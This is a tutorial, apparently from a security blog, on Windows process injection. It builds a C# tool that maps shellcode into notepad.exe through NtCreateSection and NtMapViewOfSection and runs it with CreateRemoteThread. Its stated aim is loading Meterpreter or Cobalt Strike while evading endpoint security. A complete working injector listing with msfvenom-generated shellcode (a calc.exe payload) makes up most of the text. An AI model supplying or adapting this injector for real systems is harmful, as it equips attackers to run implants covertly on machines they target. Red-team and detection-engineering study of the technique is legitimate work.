NT API Shellcode Execution

The ability to execute shellcode on an endpoint is useful for loading third party tooling such as Meterpreter or Cobalt Strike. This is typically done through by allocating memory with VirtualAllocEx, writing to memory with WriteProcessMemory and executing the code using CreateRemoteThread. Unfortunately, calling these API’s is often detected by endpoint security products.

This article will be looking at creating a process injection tool using the NtCreateSection and NtMapViewOfSection API’s.

Microsoft provide the following description of section objects;

A section object represents a section of memory that can be shared. A process can use a section object to share parts of its memory address space (memory sections) with other processes. Section objects also provide the mechanism by which a process can map a file into its memory address space.

The following steps need to be taken:

1. Create a Section Object

Use NtCreateSection to create a section object. A section object represents a section of memory that can be shared. A process can use a section object to share parts of its virtual address space with other processes. We will use this to store our shellcode in our existing process.

__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,         // SECTION_ALL_ACCESS = 0x10000000
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection, // PAGE_EXECUTE_READWRITE = 0x40
  [in]           ULONG              AllocationAttributes,  // SEC_COMMIT = 0x8000000
  [in, optional] HANDLE             FileHandle
);

We can call NtCreateSection with the following parameters:

Win32.NtCreateSection(ref sectionHandle, 0x10000000, IntPtr.Zero, ref shellcodeLength, (uint)Win32.Protect.PAGE_EXECUTE_READWRITE, 0x08000000, IntPtr.Zero);

2. Map a View of the Section into the Current Process

Call NtMapViewOfSection to map the section object into process memory.

NtMapViewOfSection(
  IN HANDLE               SectionHandle, // The handle we created in step 1
  IN HANDLE               ProcessHandle, // "-1" represents our current process
  IN OUT PVOID            *BaseAddress OPTIONAL,
  IN ULONG                ZeroBits OPTIONAL,
  IN ULONG                CommitSize,
  IN OUT PLARGE_INTEGER   SectionOffset OPTIONAL,
  IN OUT PULONG           ViewSize,
  IN                      InheritDisposition,
  IN ULONG                AllocationType OPTIONAL,
  IN ULONG                Protect ); // PAGE_READWRITE = 0x04
Win32.NtMapViewOfSection(sectionHandle,(IntPtr)(-1), out var localBaseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out var notNeeded, 0x2, 0, (uint)Win32.Protect.PAGE_READWRITE);

3. Copy the Shellcode to the Local Section

Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);

4. Get a Handle to the Target Process

GetProcessesByName returns an array of all instances of a program. In the below example we’re selecting the first instance of notepad.exe.

targetProcess = Process.GetProcessesByName("notepad")[0];

5. Map the Section to the Foreign Process

Mapping the section will copy over our shellcode to the target process.

Win32.NtMapViewOfSection(sectionHandle, targetProcess.Handle,out var foreignBaseAddress, IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,out _,0x2,0,(uint)Win32.Protect.PAGE_EXECUTE_READWRITE);

6. Use CreateRemoteThread to Execute the Code

Finally, we can call CreateRemoteThread to execute the shellcode stored in the section.

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
Win32.CreateRemoteThread(targetProcess.Handle, IntPtr.Zero, 0, foreignBaseAddress, IntPtr.Zero, 0, IntPtr.Zero);

Code Listing

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace NT_API_Injection
{
    internal class Program
    {
        static void Main(string[] args)
        {
            //msfvenom -a x64 -p windows/exec CMD="calc.exe" -f csharp -o shellcode.txt
            byte[] shellcode = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
            0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
            0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
            0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
            0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
            0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
            0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
            0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
            0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
            0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
            0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
            0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
            0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
            0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
            0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
            0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
            0x63,0x2e,0x65,0x78,0x65,0x00};


            // 1. Create a section
            long shellcodeLength = shellcode.Length;
            IntPtr sectionHandle = IntPtr.Zero;
            Win32.NtCreateSection(ref sectionHandle, 0x10000000, IntPtr.Zero, ref shellcodeLength, (uint)Win32.Protect.PAGE_EXECUTE_READWRITE, 0x08000000, IntPtr.Zero);

            Console.WriteLine("Using section address: {0:X}", sectionHandle.ToInt64());

            // 2. Get a handle to the section
            Win32.NtMapViewOfSection(sectionHandle,(IntPtr)(-1), out var localBaseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out var notNeeded, 0x2, 0, (uint)Win32.Protect.PAGE_READWRITE);

            Console.WriteLine("Mapped memory!");

            // 3. Copy our shellcode to the local section
            Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);

            // 4. Get a handle to the target process
            Process targetProcess = new Process();
            try
            {
                targetProcess = Process.GetProcessesByName("notepad")[0];
                Console.WriteLine("Target PID: {0}", targetProcess.Id);
            }
            catch
            {
                Console.WriteLine("Target process not found.");
                Console.ReadKey();
                Environment.Exit(0);
            }

            // 5. Map our section to the foreign process address
            Win32.NtMapViewOfSection(sectionHandle, targetProcess.Handle,out var foreignBaseAddress, IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,out _,0x2,0,(uint)Win32.Protect.PAGE_EXECUTE_READWRITE);

            // 6. Start the remote thread
            Win32.CreateRemoteThread(targetProcess.Handle, IntPtr.Zero, 0, foreignBaseAddress, IntPtr.Zero, 0, IntPtr.Zero);
            Console.ReadKey();
        }

    }


    public class Win32
    {

        public enum Protect : uint
        {
            PAGE_READWRITE = 0x04,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40
        }

        [DllImport("ntdll.dll")]
        public static extern UInt32 NtCreateSection(
        ref IntPtr section,
        UInt32 desiredAccess,
        IntPtr pAttrs,
        ref long MaxSize,
        uint pageProt,
        uint allocationAttribs,
        IntPtr hFile);

        [DllImport("ntdll.dll")]
        public static extern UInt32 NtMapViewOfSection(
        IntPtr SectionHandle,
        IntPtr ProcessHandle,
        out IntPtr BaseAddress,
        IntPtr ZeroBits,
        IntPtr CommitSize,
        IntPtr SectionOffset,
        out long ViewSize,
        uint InheritDisposition,
        uint AllocationType,
        uint Win32Protect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateRemoteThread(
        IntPtr hProcess,
        IntPtr lpThreadAttributes,
        uint dwStackSize,
        IntPtr lpStartAddress,
        IntPtr lpParameter,
        uint dwCreationFlags,
        IntPtr lpThreadId);

    }
}

Closing Thoughts

The method of process injection discussed here is typically has lower detection rates than just using VirtualAlloc. Although this will assist in evading on disk detection, it should be noted that our Shellcode may be scanned when in memory.